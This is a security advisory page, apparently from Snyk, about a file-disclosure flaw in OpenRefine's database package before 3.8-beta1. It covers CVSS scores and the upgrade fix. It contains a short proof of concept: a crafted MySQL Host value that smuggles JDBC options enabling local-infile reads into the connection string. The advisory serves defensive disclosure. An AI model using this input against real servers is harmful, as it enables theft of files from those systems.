Uninitialized Memory Exposure Affecting org.openrefine:database package, versions [,3.8-beta1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.09% (38th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-ORGOPENREFINE-6247634
  • published 15 Feb 2024
  • disclosed 12 Feb 2024
  • credit Unknown

How to fix?

Upgrade org.openrefine:database to version 3.8-beta1 or higher.

Overview

Affected versions of this package are vulnerable to Uninitialized Memory Exposure due to improper validation of user-supplied input in the getConnection method. An attacker can stand up a malicious MySQL Server to disclose files on the target server via JDBC connection string parameters.

Note: This is a bypass for CVE-2023-41887.

PoC

Type: MySQL
Host: 127.0.0.1:3306,(host=127.0.0.1,port=3306,autoDeserialize=true,allowLoadLocalInfile=true,allowUrlInLocalInfile=true,allowLoadLocalInfileInPath=true),127.0.0.1
Port: 3306
User: win_hosts
Database: test

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

7.5 high